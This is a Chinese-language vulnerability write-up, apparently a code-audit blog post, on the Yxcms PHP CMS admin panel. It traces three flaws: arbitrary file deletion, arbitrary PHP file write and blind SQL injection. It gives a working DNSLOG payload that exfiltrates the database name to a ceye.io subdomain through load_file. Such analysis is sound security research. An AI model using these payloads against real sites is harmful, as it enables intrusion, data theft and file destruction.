CMS说明
Yxcms是一款高效,灵活,实用,免费的企业建站系统,基于PHP和mysql技术,让您拥有更加专业的企业建站和企业网站制作服务
这个cms采用mvc框架,入口文件为index.php,后台功能url为/index.php?r=admin/控制器/方法
任意文件删除
定位到photo控制器,此控制器对图片进行处理,对应的文件为photoController.php
,在\protected\apps\admin\controller
下。
漏洞发生在第355行的delpic()
方法
可以看到,需要我们post传入一个picname,虽然说这里要求我们删除图片用file_exists对文件进行检测,但是,并没有对我们传入的文件进行检测,也没用对.
,/
进行过滤,存在就直接删除。所以就导致可以进行任意文件删除。
漏洞验证
这里我将install.lock删除
post后,虽然会提示缩略图不存在,但是文件已经成功删除
任意文件写入
定位到set控制器的tpadd
方法,该方法对模板文件进行修改,对应的文件为setController.php
,在\protected\apps\admin\controller
下。tpadd方法在140行
首先,对我们传入的Mname参数进行判断,如果为空,就会error提示 非法操作。所以我们传入一个default模板。http://127.0.0.1/cms/YXcms/index.php?r=admin/set/tpadd&Mname=default
可以看到 我们只能添加php文件,而且对于文件的内容,仅用stripcslashes()
函数进行了处理,官方手册给出的解释是:返回反转义后的字符串,也就是去掉转义符号,一般来说是\
。
漏洞验证
创建一个hu3sky.php
调试看一下文件路径
然后访问
SQL注入
定位到fragment
控制器的del
方法,对应的文件为fragmentController.php
,在\protected\apps\admin\controller
下。del
方法在63行
由于我们会POST,所以跟到else里,首先用implode()
函数进行处理,该函数将一个一维数组的值转化为字符串,接着调用delete方法进行删除。
跟进到delete方法。在protected\base\model\model.php里的第45行
再跟进delete()
.该方法在protected\include\core\cpModel.class.php
的第146行。
可以看到sql语句并没有单引号进行包裹。
继续跟进_parseCondition()
在当前文件的第223行,对解析条件进行了说明
继续跟进
在该文件的第36行发现了对解析条件的处理
用全局搜索parseCondition()
,发现在protected\include\core\db\cpMysql.class.php
中第128行定义了该函数
第136行调用了escape()
对value进行处理。
继续跟进escape()
发现只有当我们传入的值为数组的时候,才会用mysql_real_escape_string()
函数进行处理。由于注入语句并没有单引号包裹,所以说可以直接进行注入,但是没有页面的回显,可以用DNSLOG进行注入
漏洞验证
首先需要去 http://ceye.io 注册一个账号,这里我接收DNS请求的连接为2c4lgt.ceye.io
然后,在http://127.0.0.1/cms/YXcms/index.php?r=admin/fragment/index
页面。对某一个id进行删除
获取数据库的payload为1 and if((select load_file(concat('\\\\',(select database()),'.2c4lgt.ceye.io\\abc'))),1,1)--+
然后抓包将id改为payload
接着就会在DNS请求中获得外带数据
#参考文章
https://www.jianshu.com/p/95c814c515a2 【SQL注入奇巧淫技——利用DNSLOG获取看不到的信息(给盲注带上眼镜)】